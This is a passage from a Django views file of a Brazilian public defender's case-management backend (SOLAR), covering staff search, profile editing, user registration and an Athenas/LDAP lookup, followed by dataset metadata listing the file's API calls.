self.get_queryset().filter(ativo=False).count(),\r\n 'form': forms.BuscarServidorForm(self.request.GET),\r\n })\r\n\r\n return context\r\n\r\n def get_queryset(self):\r\n\r\n qs = Servidor.objects.none()\r\n form = forms.BuscarServidorForm(self.request.GET)\r\n\r\n # Só filtra se valores de busca forem válidos\r\n if form.is_valid():\r\n\r\n qs = Servidor.objects.filter(uso_interno=False).order_by('-ativo', '-usuario__is_superuser', 'nome')\r\n\r\n if not self.request.user.is_superuser:\r\n qs = qs.filter(usuario__is_superuser=False)\r\n\r\n data = form.cleaned_data\r\n\r\n if data.get('comarca'):\r\n qs = qs.filter(comarca=data.get('comarca'))\r\n\r\n if data.get('papel'):\r\n qs = qs.filter(papel=data.get('papel'))\r\n\r\n for nome in data.get('nome', '').split():\r\n qs = qs.filter(\r\n Q(nome__unaccent__icontains=nome)\r\n | Q(matricula__icontains=nome)\r\n | Q(usuario__username__icontains=nome)\r\n )\r\n\r\n return qs\r\n\r\n\r\n@never_cache\r\n@login_required\r\ndef listar_servidor_json(request):\r\n \"\"\"Utilizado para buscar servidores em Itinerante e em Relatórios\"\"\"\r\n\r\n servidores_queryset = Servidor.objects.filter(\r\n ativo=True,\r\n ).values_list(\r\n 'id',\r\n 'nome',\r\n 'defensor__ativo',\r\n 'defensor__supervisor__servidor',\r\n 'uso_interno'\r\n ).order_by('nome')\r\n\r\n servidores = []\r\n\r\n for servidor in servidores_queryset:\r\n servidores.append({\r\n 'id': servidor[0],\r\n 'nome': servidor[1],\r\n 'defensor': True if servidor[2] else False,\r\n 'supervisor': servidor[3] if servidor[2] else None,\r\n 'uso_interno': servidor[4]\r\n })\r\n\r\n return JsonResponse(servidores, safe=False)\r\n\r\n\r\n@login_required\r\ndef listar_servidor_por_atuacao_json(request, defensoria_id):\r\n queryset = Q(defensoria_id=defensoria_id)\r\n\r\n cargo_id = request.GET.get('cargo_id')\r\n\r\n if cargo_id:\r\n queryset &= Q(cargo_id=cargo_id)\r\n\r\n vigente = True\r\n\r\n if request.GET.get('vigente'):\r\n vigente = request.GET.get('vigente')\r\n\r\n queryset &= Q(ativo=vigente)\r\n\r\n atuacoes = Atuacao.objects.filter(queryset).values('defensor__servidor__id',\r\n 'defensor__servidor__nome',\r\n 'cargo_id'\r\n )\r\n\r\n servidores = []\r\n\r\n for atuacao in atuacoes:\r\n servidores.append({\r\n 'servidor_id': atuacao['defensor__servidor__id'],\r\n 'nome': atuacao['defensor__servidor__nome'],\r\n 'cargo_id': atuacao['cargo_id']\r\n })\r\n\r\n return JsonResponse(servidores, safe=False)\r\n\r\n\r\n@never_cache\r\n@login_required\r\n@permission_required('contrib.change_servidor')\r\ndef perfil_servidor(request, servidor_id):\r\n\r\n servidor = Servidor.objects.get(usuario_id=servidor_id, uso_interno=False)\r\n\r\n if hasattr(servidor, 'defensor') and servidor.defensor.eh_defensor:\r\n assessores = servidor.defensor.lista_assessores\r\n else:\r\n assessores = None\r\n\r\n return render(request=request, template_name=\"contrib/perfil_servidor.html\", context=locals())\r\n\r\n\r\n@never_cache\r\n@login_required\r\n@permission_required('contrib.change_servidor')\r\ndef editar_servidor(request, servidor_id, lotacao_id=None):\r\n\r\n servidor = get_object_or_404(Servidor, usuario_id=servidor_id, uso_interno=False)\r\n\r\n if hasattr(servidor, 'defensor'):\r\n lotacoes = servidor.defensor.atuacoes().select_related(\r\n 'defensoria',\r\n 'cadastrado_por__usuario'\r\n )\r\n else:\r\n lotacoes = Atuacao.objects.none()\r\n\r\n if lotacao_id:\r\n lotacao = get_object_or_404(Atuacao, id=lotacao_id, ativo=True)\r\n form_excluir_lotacao = ExcluirAtuacaoForm(instance=lotacao, initial={'data_final': datetime.now().date})\r\n\r\n if request.POST:\r\n\r\n formulario = forms.ServidorForm(request.POST, instance=servidor)\r\n\r\n if formulario.is_valid():\r\n with transaction.atomic():\r\n servidor = formulario.save(commit=False)\r\n servidor.nome = servidor.usuario.get_full_name()\r\n servidor.save()\r\n\r\n servidor.usuario.is_active = servidor.ativo\r\n servidor.usuario.save(update_fields=['is_active'])\r\n\r\n # desativa as atuações de servidor caso seja inativado\r\n if not servidor.usuario.is_active:\r\n if servidor.defensor and not servidor.defensor.eh_defensor:\r\n for lotacao in lotacoes:\r\n lotacao.ativo = False\r\n lotacao.data_final = timezone.now()\r\n lotacao.save(update_fields=['ativo', 'data_final'])\r\n\r\n return HttpResponseRedirect(reverse_lazy('perfil_servidor', kwargs={'servidor_id': servidor_id}))\r\n\r\n else:\r\n\r\n form = forms.ServidorForm(instance=servidor)\r\n url_voltar = request.META.get('HTTP_REFERER', '/')\r\n\r\n if hasattr(servidor, 'defensor') and not servidor.defensor.eh_defensor:\r\n form_lotacao = LotacaoForm(prefix='lotacao', instance=Atuacao(defensor=servidor.defensor))\r\n\r\n return render(request=request, template_name=\"contrib/editar_servidor.html\", context=locals())\r\n\r\n\r\n@login_required\r\ndef foto_servidor_pelo_username(request, username):\r\n try:\r\n servidor = Servidor.objects.get(usuario__username=username, uso_interno=False)\r\n except Exception:\r\n servidor = Servidor()\r\n\r\n return redirect(servidor.get_foto())\r\n\r\n\r\nclass DefensorSupervisorAutocomplete(autocomplete.Select2QuerySetView):\r\n \"\"\"\r\n Autocomplete view to Django User Based\r\n \"\"\"\r\n\r\n @method_decorator(never_cache)\r\n def dispatch(self, request, *args, **kwargs):\r\n return super(DefensorSupervisorAutocomplete, self).dispatch(request, *args, **kwargs)\r\n\r\n def get_queryset(self):\r\n # Don't forget to filter out results depending on the visitor !\r\n # if not self.request.user.is_authenticated:\r\n # return USER_MODEL.objects.none()\r\n # assinado_por = self.forwarded.get('assinado_por', None)\r\n\r\n qs = Defensor.objects.filter(supervisor=None, eh_defensor=True, ativo=True).order_by('servidor__nome')\r\n\r\n if self.q:\r\n qs = qs.filter(Q(servidor__nome__icontains=self.q))\r\n\r\n return qs\r\n\r\n def get_result_label(self, result):\r\n return result.servidor.nome\r\n\r\n\r\nclass CadastrarServidorView(MultiplePermissionsRequiredMixin, FormActionViewMixin, generic.CreateView):\r\n model = Servidor\r\n document_json_fields = ('nome', 'usuario.username')\r\n form_class = forms.SolarUserCreationForm\r\n template_name = 'contrib/criar_usuario_solar.html'\r\n ajax_success_message = None\r\n form_action = reverse_lazy('criar_usuario_solar')\r\n raise_exception = True\r\n permissions = {\r\n \"all\": (\"contrib.add_servidor\",),\r\n \"any\": None\r\n }\r\n\r\n @method_decorator(never_cache)\r\n def dispatch(self, request, *args, **kwargs):\r\n return super(CadastrarServidorView, self).dispatch(request, *args, **kwargs)\r\n\r\n def get_ajax_success_message(self, object_instance=None):\r\n return self.ajax_success_message\r\n\r\n def post(self, request, *args, **kwargs):\r\n with transaction.atomic():\r\n return super(CadastrarServidorView, self).post(request, *args, **kwargs)\r\n\r\n def get_success_url(self):\r\n url = None\r\n if self.object:\r\n usuario_pk = self.object.usuario_id\r\n url = reverse('editar_servidor', kwargs={'servidor_id': usuario_pk})\r\n return url\r\n\r\n def get_context_data(self, **kwargs):\r\n context = super(CadastrarServidorView, self).get_context_data(**kwargs)\r\n context['form_cpf_nome'] = forms.NomeCompletoCPFForm()\r\n context['angular'] = \"CadastroServidorCtrl\"\r\n return context\r\n\r\n def form_valid(self, form):\r\n response = super(CadastrarServidorView, self).form_valid(form)\r\n if self.request.is_ajax():\r\n # object_dict = model_to_dict(self.object, fields=[field.name for field in self.object._meta.fields])\r\n # object_instance = object_dict\r\n dados_instancia = {\r\n 'nome': self.object.nome,\r\n 'username': self.object.usuario.username,\r\n 'email': self.object.usuario.email,\r\n 'id': self.object.usuario_id,\r\n 'enviar_email_ao_cadastrar_servidor': config.ENVIAR_EMAIL_AO_CADASTRAR_SERVIDOR,\r\n }\r\n data = {'object_instance': dados_instancia, 'errors': None,\r\n 'success_url': self.get_success_url(), 'pode_cadastrar': True}\r\n message = self.get_ajax_success_message(self.object)\r\n if message:\r\n messages.add_message(self.request, messages.SUCCESS, message)\r\n return JsonResponse(data=data)\r\n return response\r\n\r\n def get_form_fields(self):\r\n fields = self.document_json_fields\r\n if not fields:\r\n form = self.get_form()\r\n fields = six.iterkeys(form.fields)\r\n return fields\r\n\r\n def get_object_members(self):\r\n data = {}\r\n if hasattr(self, 'object'):\r\n if self.object:\r\n for field in self.get_form_fields():\r\n if hasattr(self.object, field):\r\n field_instance = getattr(self.object, field)\r\n if isinstance(field_instance, models.Model):\r\n field_data = field_instance.pk\r\n else:\r\n field_data = field_instance\r\n data[field] = field_data\r\n return data\r\n\r\n def form_invalid(self, form):\r\n response = super(CadastrarServidorView, self).form_invalid(form)\r\n if self.request.is_ajax():\r\n data = {'errors': form.errors, 'success_url': self.get_success_url(), 'pode_cadastrar': True}\r\n # members = self.get_object_members()\r\n return JsonResponse(data=data, status=status.HTTP_400_BAD_REQUEST)\r\n return response\r\n\r\n\r\nclass ConsultarAthenasView(View):\r\n http_method_names = ['post']\r\n\r\n @method_decorator(never_cache)\r\n def dispatch(self, request, *args, **kwargs):\r\n return super(ConsultarAthenasView, self).dispatch(request, *args, **kwargs)\r\n\r\n def post(self, request, *args, **kwargs):\r\n # if request.is_ajax():\r\n # POST = simplejson.loads(request.body)\r\n # else:\r\n POST = self.request.POST\r\n\r\n cpf_matricula = POST.get('cpf_matricula')\r\n nome_completo = POST.get('nome_completo')\r\n dados = buscar_servidor_api_athenas_e_ldap(cpf_matricula, nome_completo)\r\n dados['pode_cadastrar'] = True\r\n if dados['errors']['__all__'] or dados['botoes']:\r\n dados['pode_cadastrar'] = False\r\n\r\n return JsonResponse(data=dados)\r\n\r\n def put(self, *args, **kwargs):\r\n return super(ConsultarAthenasView, self).post(*args, **kwargs)\r\n", "repo_name": "SegurancaDPDF/SOLAR-Backend", "sub_path": "contrib/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 29379, "program_lang": "python", "lang": "pt", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "logging.getLogger", "line_number": 57, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 64, "usage_type": "call"}, {"api_name": "contrib.utils.validar_cpf", "line_number": 68, "usage_type": "call"}, {"api_name": "contrib.utils.validar_cnpj", "line_number": 70, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 74, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 74, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 76, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 76, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 60, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 84, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 84, "usage_type": "name"}, {"api_name": "models.Defensoria.objects.filter", "line_number": 86, "usage_type": "call"}, {"api_name": "models.Defensoria.objects", "line_number": 86, "usage_type": "attribute"}, {"api_name": "models.Defensoria", "line_number": 86, "usage_type": "name"}, {"api_name": "models.Util.object_to_dict", "line_number": 91, "usage_type": "call"}, {"api_name": "models.Util", "line_number": 91, "usage_type": "name"}, {"api_name": "django.db.models.Q", "line_number": 95, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 96, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 98, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 99, "usage_type": "call"}, {"api_name": "defensor.models.Documento.LISTA_TIPO", "line_number": 114, "usage_type": "attribute"}, {"api_name": "defensor.models.Documento", "line_number": 114, "usage_type": "name"}, {"api_name": "models.Util.date_to_json", "line_number": 126, "usage_type": "call"}, {"api_name": "models.Util", "line_number": 126, "usage_type": "name"}, {"api_name": "models.Util.date_to_json", "line_number": 127, "usage_type": "call"}, {"api_name": "models.Util", "line_number": 127, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 134, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 81, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 139, "usage_type": "call"}, {"api_name": "models.Defensoria", "line_number": 139, "usage_type": "argument"}, {"api_name": "datetime.datetime.now", "line_number": 140, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 140, "usage_type": "name"}, {"api_name": "django.db.models.Q", "line_number": 143, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 145, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 146, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 148, "usage_type": "call"}, {"api_name": "models.Util.object_to_dict", "line_number": 158, "usage_type": "call"}, {"api_name": "models.Util", "line_number": 158, "usage_type": "name"}, {"api_name": "models.Util.object_to_dict", "line_number": 171, "usage_type": "call"}, {"api_name": "models.Util", "line_number": 171, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 176, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 137, "usage_type": "name"}, {"api_name": "django.views.generic.ListView", "line_number": 179, "usage_type": "name"}, {"api_name": "models.Defensoria.objects.ativos", "line_number": 180, "usage_type": "call"}, {"api_name": "models.Defensoria.objects", "line_number": 180, "usage_type": "attribute"}, {"api_name": "models.Defensoria", "line_number": 180, "usage_type": "name"}, {"api_name": "models.Defensoria", "line_number": 188, "usage_type": "name"}, {"api_name": "django.db.models.Q", "line_number": 202, "usage_type": "call"}, {"api_name": "models.Defensoria.objects.filter", "line_number": 208, "usage_type": "call"}, {"api_name": "models.Defensoria.objects", "line_number": 208, "usage_type": "attribute"}, {"api_name": "models.Defensoria", "line_number": 208, "usage_type": "name"}, {"api_name": "django.db.models.Q", "line_number": 209, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 211, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 221, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 225, "usage_type": "call"}, {"api_name": "django.views.generic.edit.UpdateView", "line_number": 230, "usage_type": "name"}, {"api_name": "models.Defensoria", "line_number": 231, "usage_type": "name"}, {"api_name": "django.contrib.messages.success", "line_number": 251, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 251, "usage_type": "name"}, {"api_name": "django.urls.reverse", "line_number": 252, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 259, "usage_type": "call"}, {"api_name": "django.views.generic.TemplateView", "line_number": 267, "usage_type": "name"}, {"api_name": "models.Defensoria.objects.filter", "line_number": 274, "usage_type": "call"}, {"api_name": "models.Defensoria.objects", "line_number": 274, "usage_type": "attribute"}, {"api_name": "models.Defensoria", "line_number": 274, "usage_type": "name"}, {"api_name": "atividade_extraordinaria.models.AtividadeExtraordinariaTipo.objects.ativos", "line_number": 276, "usage_type": "call"}, {"api_name": "atividade_extraordinaria.models.AtividadeExtraordinariaTipo.objects", "line_number": 276, "usage_type": "attribute"}, {"api_name": "atividade_extraordinaria.models.AtividadeExtraordinariaTipo", "line_number": 276, "usage_type": "name"}, {"api_name": "models.Defensoria.objects.filter", "line_number": 291, "usage_type": "call"}, {"api_name": "models.Defensoria.objects", "line_number": 291, "usage_type": "attribute"}, {"api_name": "models.Defensoria", "line_number": 291, "usage_type": "name"}, {"api_name": "django.contrib.messages.success", "line_number": 298, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 298, "usage_type": "name"}, {"api_name": "models.Util.object_to_dict", "line_number": 305, "usage_type": "call"}, {"api_name": "models.Util", "line_number": 305, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 313, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 328, "usage_type": "call"}, {"api_name": "models.CEP.objects.filter", "line_number": 331, "usage_type": "call"}, {"api_name": "models.CEP.objects", "line_number": 331, "usage_type": "attribute"}, {"api_name": "models.CEP", "line_number": 331, "usage_type": "name"}, {"api_name": "pycep_correios.get_address_from_cep", "line_number": 337, "usage_type": "call"}, {"api_name": "pycep_correios.exceptions.InvalidCEP", "line_number": 339, "usage_type": "attribute"}, {"api_name": "pycep_correios.exceptions", "line_number": 339, "usage_type": "name"}, {"api_name": "pycep_correios.get_address_from_cep", "line_number": 341, "usage_type": "call"}, {"api_name": "pycep_correios.WebService.VIACEP", "line_number": 341, "usage_type": "attribute"}, {"api_name": "pycep_correios.WebService", "line_number": 341, "usage_type": "name"}, {"api_name": "pycep_correios.exceptions.InvalidCEP", "line_number": 342, "usage_type": "attribute"}, {"api_name": "pycep_correios.exceptions", "line_number": 342, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 343, "usage_type": "call"}, {"api_name": "pycep_correios.exceptions.CEPNotFound", "line_number": 348, "usage_type": "attribute"}, {"api_name": "pycep_correios.exceptions", "line_number": 348, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 349, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 360, "usage_type": "call"}, {"api_name": "models.Municipio.objects.get", "line_number": 371, "usage_type": "call"}, {"api_name": "models.Municipio.objects", "line_number": 371, "usage_type": "attribute"}, {"api_name": "models.Municipio", "line_number": 371, "usage_type": "name"}, {"api_name": "models.Util.normalize", "line_number": 373, "usage_type": "call"}, {"api_name": "models.Util", "line_number": 373, "usage_type": "name"}, {"api_name": "django.core.exceptions.ObjectDoesNotExist", "line_number": 375, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 379, "usage_type": "call"}, {"api_name": "models.Bairro.objects.get_or_create", "line_number": 384, "usage_type": "call"}, {"api_name": "models.Bairro.objects", "line_number": 384, "usage_type": "attribute"}, {"api_name": "models.Bairro", "line_number": 384, "usage_type": "name"}, {"api_name": "models.Util.normalize", "line_number": 386, "usage_type": "call"}, {"api_name": "models.Util", "line_number": 386, "usage_type": "name"}, {"api_name": "models.Bairro.MultipleObjectsReturned", "line_number": 393, "usage_type": "attribute"}, {"api_name": "models.Bairro", "line_number": 393, "usage_type": "name"}, {"api_name": "models.Bairro.objects.filter", "line_number": 394, "usage_type": "call"}, {"api_name": "models.Bairro.objects", "line_number": 394, "usage_type": "attribute"}, {"api_name": "models.Bairro", "line_number": 394, "usage_type": "name"}, {"api_name": "models.Util.normalize", "line_number": 396, "usage_type": "call"}, {"api_name": "models.Util", "line_number": 396, "usage_type": "name"}, {"api_name": "models.CEP.objects.update_or_create", "line_number": 401, "usage_type": "call"}, {"api_name": "models.CEP.objects", "line_number": 401, "usage_type": "attribute"}, {"api_name": "models.CEP", "line_number": 401, "usage_type": "name"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 316, "usage_type": "name"}, {"api_name": "models.Bairro.objects.filter", "line_number": 417, "usage_type": "call"}, {"api_name": "models.Bairro.objects", "line_number": 417, "usage_type": "attribute"}, {"api_name": "models.Bairro", "line_number": 417, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 427, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 415, "usage_type": "name"}, {"api_name": "collections.OrderedDict", "line_number": 432, "usage_type": "call"}, {"api_name": "models.Comarca.objects.coordenadorias", "line_number": 434, "usage_type": "call"}, {"api_name": "models.Comarca.objects", "line_number": 434, "usage_type": "attribute"}, {"api_name": "models.Comarca", "line_number": 434, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 441, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 430, "usage_type": "name"}, {"api_name": "meritocracia.models.IndicadorMeritocracia.objects.filter", "line_number": 448, "usage_type": "call"}, {"api_name": "meritocracia.models.IndicadorMeritocracia.objects", "line_number": 448, "usage_type": "attribute"}, {"api_name": "meritocracia.models.IndicadorMeritocracia", "line_number": 448, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 455, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 444, "usage_type": "name"}, {"api_name": "models.Endereco.objects.filter", "line_number": 460, "usage_type": "call"}, {"api_name": "models.Endereco.objects", "line_number": 460, "usage_type": "attribute"}, {"api_name": "models.Endereco", "line_number": 460, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 470, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 458, "usage_type": "name"}, {"api_name": "models.Municipio.objects.all", "line_number": 475, "usage_type": "call"}, {"api_name": "models.Municipio.objects", "line_number": 475, "usage_type": "attribute"}, {"api_name": "models.Municipio", "line_number": 475, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 476, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 473, "usage_type": "name"}, {"api_name": "models.Municipio.objects.select_related", "line_number": 484, "usage_type": "call"}, {"api_name": "models.Municipio.objects", "line_number": 484, "usage_type": "attribute"}, {"api_name": "models.Municipio", "line_number": 484, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 495, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 479, "usage_type": "name"}, {"api_name": "django.views.decorators.cache.cache_page", "line_number": 480, "usage_type": "call"}, {"api_name": "models.Estado.objects.all", "line_number": 502, "usage_type": "call"}, {"api_name": "models.Estado.objects", "line_number": 502, "usage_type": "attribute"}, {"api_name": "models.Estado", "line_number": 502, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 506, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 498, "usage_type": "name"}, {"api_name": "django.views.decorators.cache.cache_page", "line_number": 499, "usage_type": "call"}, {"api_name": "models.Area.objects.filter", "line_number": 512, "usage_type": "call"}, {"api_name": "models.Area.objects", "line_number": 512, "usage_type": "attribute"}, {"api_name": "models.Area", "line_number": 512, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 518, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 509, "usage_type": "name"}, {"api_name": "models.Vara.objects.filter", "line_number": 524, "usage_type": "call"}, {"api_name": "models.Vara.objects", "line_number": 524, "usage_type": "attribute"}, {"api_name": "models.Vara", "line_number": 524, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 541, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 521, "usage_type": "name"}, {"api_name": "unicodedata.normalize", "line_number": 554, "usage_type": "call"}, {"api_name": "string.ascii_letters", "line_number": 554, "usage_type": "attribute"}, {"api_name": "django.views.generic.ListView", "line_number": 557, "usage_type": "name"}, {"api_name": "models.Servidor.objects.none", "line_number": 573, "usage_type": "call"}, {"api_name": "models.Servidor.objects", "line_number": 573, "usage_type": "attribute"}, {"api_name": "models.Servidor", "line_number": 573, "usage_type": "name"}, {"api_name": "models.Servidor.objects.filter", "line_number": 579, "usage_type": "call"}, {"api_name": "models.Servidor.objects", "line_number": 579, "usage_type": "attribute"}, {"api_name": "models.Servidor", "line_number": 579, "usage_type": "name"}, {"api_name": "django.db.models.Q", "line_number": 594, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 595, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 596, "usage_type": "call"}, {"api_name": "models.Servidor.objects.filter", "line_number": 607, "usage_type": "call"}, {"api_name": "models.Servidor.objects", "line_number": 607, "usage_type": "attribute"}, {"api_name": "models.Servidor", "line_number": 607, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 628, "usage_type": "call"}, {"api_name": "django.views.decorators.cache.never_cache", "line_number": 602, "usage_type": "name"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 603, "usage_type": "name"}, {"api_name": "django.db.models.Q", "line_number": 633, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 638, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 645, "usage_type": "call"}, {"api_name": "defensor.models.Atuacao.objects.filter", "line_number": 647, "usage_type": "call"}, {"api_name": "defensor.models.Atuacao.objects", "line_number": 647, "usage_type": "attribute"}, {"api_name": "defensor.models.Atuacao", "line_number": 647, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 661, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 631, "usage_type": "name"}, {"api_name": "models.Servidor.objects.get", "line_number": 669, "usage_type": "call"}, {"api_name": "models.Servidor.objects", "line_number": 669, "usage_type": "attribute"}, {"api_name": "models.Servidor", "line_number": 669, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 676, "usage_type": "call"}, {"api_name": "django.views.decorators.cache.never_cache", "line_number": 664, "usage_type": "name"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 665, "usage_type": "name"}, {"api_name": "django.contrib.auth.decorators.permission_required", "line_number": 666, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 684, "usage_type": "call"}, {"api_name": "models.Servidor", "line_number": 684, "usage_type": "argument"}, {"api_name": "defensor.models.Atuacao.objects.none", "line_number": 692, "usage_type": "call"}, {"api_name": "defensor.models.Atuacao.objects", "line_number": 692, "usage_type": "attribute"}, {"api_name": "defensor.models.Atuacao", "line_number": 692, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 695, "usage_type": "call"}, {"api_name": "defensor.models.Atuacao", "line_number": 695, "usage_type": "argument"}, {"api_name": "defensor.forms.ExcluirAtuacaoForm", "line_number": 696, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 696, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 696, "usage_type": "name"}, {"api_name": "django.db.transaction.atomic", "line_number": 703, "usage_type": "call"}, {"api_name": "django.db.transaction", "line_number": 703, "usage_type": "name"}, {"api_name": "django.utils.timezone.now", "line_number": 716, "usage_type": "call"}, {"api_name": "django.utils.timezone", "line_number": 716, "usage_type": "name"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 719, "usage_type": "call"}, {"api_name": "django.urls.reverse_lazy", "line_number": 719, "usage_type": "call"}, {"api_name": "defensor.forms.LotacaoForm", "line_number": 727, "usage_type": "call"}, {"api_name": "defensor.models.Atuacao", "line_number": 727, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 729, "usage_type": "call"}, {"api_name": "django.views.decorators.cache.never_cache", "line_number": 679, "usage_type": "name"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 680, "usage_type": "name"}, {"api_name": "django.contrib.auth.decorators.permission_required", "line_number": 681, "usage_type": "call"}, {"api_name": "models.Servidor.objects.get", "line_number": 735, "usage_type": "call"}, {"api_name": "models.Servidor.objects", "line_number": 735, "usage_type": "attribute"}, {"api_name": "models.Servidor", "line_number": 735, "usage_type": "name"}, {"api_name": "models.Servidor", "line_number": 737, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 739, "usage_type": "call"}, {"api_name": "django.contrib.auth.decorators.login_required", "line_number": 732, "usage_type": "name"}, {"api_name": "dal.autocomplete.Select2QuerySetView", "line_number": 742, "usage_type": "attribute"}, {"api_name": "dal.autocomplete", "line_number": 742, "usage_type": "name"}, {"api_name": "django.utils.decorators.method_decorator", "line_number": 747, "usage_type": "call"}, {"api_name": "django.views.decorators.cache.never_cache", "line_number": 747, "usage_type": "argument"}, {"api_name": "defensor.models.Defensor.objects.filter", "line_number": 757, "usage_type": "call"}, {"api_name": "defensor.models.Defensor.objects", "line_number": 757, "usage_type": "attribute"}, {"api_name": "defensor.models.Defensor", "line_number": 757, "usage_type": "name"}, {"api_name": "django.db.models.Q", "line_number": 760, "usage_type": "call"}, {"api_name": "braces.views.MultiplePermissionsRequiredMixin", "line_number": 768, "usage_type": "name"}, {"api_name": "djdocuments.views.mixins.FormActionViewMixin", "line_number": 768, "usage_type": "name"}, {"api_name": "django.views.generic.CreateView", "line_number": 768, "usage_type": "attribute"}, {"api_name": "django.views.generic", "line_number": 768, "usage_type": "name"}, {"api_name": "models.Servidor", "line_number": 769, "usage_type": "name"}, {"api_name": "django.urls.reverse_lazy", "line_number": 774, "usage_type": "call"}, {"api_name": "django.utils.decorators.method_decorator", "line_number": 781, "usage_type": "call"}, {"api_name": "django.views.decorators.cache.never_cache", "line_number": 781, "usage_type": "argument"}, {"api_name": "django.db.transaction.atomic", "line_number": 789, "usage_type": "call"}, {"api_name": "django.db.transaction", "line_number": 789, "usage_type": "name"}, {"api_name": "django.urls.reverse", "line_number": 796, "usage_type": "call"}, {"api_name": "constance.config.ENVIAR_EMAIL_AO_CADASTRAR_SERVIDOR", "line_number": 815, "usage_type": "attribute"}, {"api_name": "constance.config", "line_number": 815, "usage_type": "name"}, {"api_name": "django.contrib.messages.add_message", "line_number": 821, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 821, "usage_type": "name"}, {"api_name": "django.contrib.messages.SUCCESS", "line_number": 821, "usage_type": "attribute"}, {"api_name": "django.http.JsonResponse", "line_number": 822, "usage_type": "call"}, {"api_name": "six.iterkeys", "line_number": 829, "usage_type": "call"}, {"api_name": "django.db.models.Model", "line_number": 839, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 839, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 851, "usage_type": "call"}, {"api_name": "status.HTTP_400_BAD_REQUEST", "line_number": 851, "usage_type": "attribute"}, {"api_name": "django.views.generic.View", "line_number": 855, "usage_type": "name"}, {"api_name": "django.utils.decorators.method_decorator", "line_number": 858, "usage_type": "call"}, {"api_name": "django.views.decorators.cache.never_cache", "line_number": 858, "usage_type": "argument"}, {"api_name": "services.buscar_servidor_api_athenas_e_ldap", "line_number": 870, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 875, "usage_type": "call"}]} {"seq_id": "27169695934", "text": 